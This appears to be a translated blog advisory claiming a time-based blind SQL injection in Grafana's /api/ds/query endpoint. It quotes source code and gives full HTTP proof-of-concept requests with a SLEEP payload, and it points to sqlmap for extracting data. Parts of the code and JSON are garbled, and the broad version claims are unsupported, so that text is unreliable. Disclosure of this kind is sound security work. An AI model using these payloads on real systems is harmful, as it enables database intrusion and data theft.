Open Source Software Grafana Platform SQL Injection High Risk Vulnerability

An injection vulnerability exists in the open source software grafana, where an attacker can use a post request to the /api/ds/query api, and then they can modify the "rawSql" file to execute a malicious sql string, resulting in a blind time-based sql injection vulnerability that poses the threat of a database compromise.

Vulnerability description

Open Source Platform for Monitoring and Observability To exploit this sql injection vulnerability, one must log in to the grafana web backend with a valid account and then send a malicious POST request to the /api/ds/query "rawSql" entry.
If an attacker logs into the grafana web backend, they can use a post request to the /api/ds/query api, where they can then modify the "rawSql" file to execute a malicious sql string, leading to a blind time-based sql injection vulnerability, which then leaks data from the database. data from the database.

risk level

high

Affected versions

grafana latest and all old versions

Vulnerability analysis

Affected code blocks and functions

Open Source Software Grafana Platform SQL Injection High Risk Vulnerability

  1. grafana grafana-sql package in grafana/packages/grafana-sql/src/datasource/SqlDatasource.ts file

// NOTE: this always runs with the `@grafana/data/getDefaultTimeRange` time range.
async runSql(query: string, options?: RunSQLOptions) {
const range = getDefaultTimeRange();
const frame = await this.runMetaQuery({ rawSql: query, format: QueryFormat.Table, refId: options?.refId }, range);
return new DataFrameView(frame);
}

private runMetaQuery(request: Partial, range: TimeRange): Promise {
const refId = request.refId || 'meta';
const queries: DataQuery[] = [{ ...request, datasource: request.datasource || this.getRef(), refId }];]

return lastValueFrom(
getBackendSrv()
.fetch({
url: '/api/ds/query',
method: 'POST',
headers: this.getRequestHeaders(),
data: {
from: range.from.valueOf().toString(),
to: range.to.valueOf().toString(),
queries,
},
requestId: refId,
})
.pipe(
map((res: FetchResponse) => {
const rsp = toDataQueryResponse(res, queries);
return rsp.data[0] ?? { fields: [] }
})
)
);
}

  1. grafana datasource plugin in grafana/public/app/plugins/datasource/influxdb/datasource.ts file

async metricFindQuery(query: string, options?: any): Promise {
if (
this.version === InfluxVersion.Flux ||
this.version === InfluxVersion.SQL ||
this.isMigrationToggleOnAndIsAccessProxy()
) {
const target: InfluxQuery & SQLQuery = {
refId: 'metricFindQuery',
query,
rawQuery: true,
...(this.version === InfluxVersion.SQL ? { rawSql: query, format: QueryFormat.Table } : {}), ...(this.version === InfluxVersion.SQL ?
};
return lastValueFrom(
super.query({
...(options ?? {}), // includes 'range'
targets: [target],
})
).then(this.toMetricFindValue);
}

const interpolated = this.templateSrv.replace(
query,
options?
(value: string | string[] = [], variable: QueryVariableModel) => this.interpolateQueryExpr(value, variable, query)
);

return lastValueFrom(this._seriesQuery(interpolated, options)).then((resp) => {
return this.responseParser.parse(query, resp);
});
}

……

return lastValueFrom(
getBackendSrv()
.fetch({
url: '/api/ds/query',
method: 'POST',
headers: this.getRequestHeaders(),
data: {
from: options.range.from.valueOf().toString(),
to: options.range.to.valueOf().toString(),
queries: [target],
},
requestId: annotation.name,
})
.pipe(
map(
async (res: FetchResponse) =>
await this.responseParser.transformAnnotationResponse(annotation, res, target)
)
)
);

Grafana does not validate any queries sent to the DataSource agent

Vulnerability recurrence:

An attacker can use the above steps for sql injection, which is grafana sends sql statement query resulting in a bug.

grafana v8.0.4 poc:

POST /api/ds/query HTTP/1.1
Host: 172.16.32.57:3000
User-Agent: qzd_security_test_user_agent
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.16.32.57:3000/d/AEo5dM44k/pei-xun-xi-tong?orgId=1
content-type: application/json
x-grafana-org-id: 1
Content-Length: 142
Origin: http://172.16.32.57:3000
DNT: 1
Connection: close
Cookie: grafana_session=ede75844e20b0001a30e2c8522e5f1fc

{"queries":[{"refId": "A", "format". "time_series", "datasourceId":2, "rawSql":"( SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)", "maxDataPoints":10000}]}

Open Source Software Grafana Platform SQL Injection High Risk Vulnerability

Log in to the backend and click "Explore", then use burp to capture the POST /api/ds/query packet, change the "rawSql" entry to a malicious sql string, and then we get the time-based and we get a time-based sql injection.

Open Source Software Grafana Platform SQL Injection High Risk Vulnerability

POST /api/ds/query HTTP/1.1
Host: 172.28.171.25:3000
User-Agent: qzd_security_test_user_agent
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.28.171.25:3000/explore
content-type: application/json
x-datasource-uid: edj6pz14v89a8c
x-grafana-device-id: 6eda885e8d5e5370781b533e605dd6fb
x-grafana-org-id: 1
x-plugin-id: mysql
Content-Length: 201
Origin: http://172.28.171.25:3000
DNT: 1
Connection: close
Cookie: grafana_session=dfa008ccdbe45635eed9592216f2f04a; grafana_session_expiry=1713514866

{"from": "1713492692433″, "to": "1713514292433″," queries":[{"rawSql":"(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)", "format": "table", "refId": "datasets ", "datasource":{"type": "mysql"," uid": "edj6pz14v89a8c"}}]}

Open Source Software Grafana Platform SQL Injection High Risk Vulnerability

You can now drag data using sqlmap

Open Source Software Grafana Platform SQL Injection High Risk Vulnerability

Open Source Software Grafana Platform SQL Injection High Risk Vulnerability

Vulnerability Repair

Grafana does not validate any queries sent to the DataSource agent; filtering must be done on the data source side.

The official grafana security team doesn't think it's a vulnerability, it's a feature on the back end and it must make me very uneasy ......

Open Source Software Grafana Platform SQL Injection High Risk Vulnerability

But I don't think so, which is why I published this article :)

Open Source Software Grafana Platform SQL Injection High Risk Vulnerability Open Source Software Grafana Platform SQL Injection High Risk Vulnerability

reference resource

https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code

https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code
https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/#limit-viewer-query-permissions

Original article by xbear, if reproduced, please credit https://cncso.com/en/grafana-sql-injection-high-risk-vuln.html

Like (0)
Previous March 18th, 2024 at 8:20 am
Next April 24th, 2024 at 8:48 am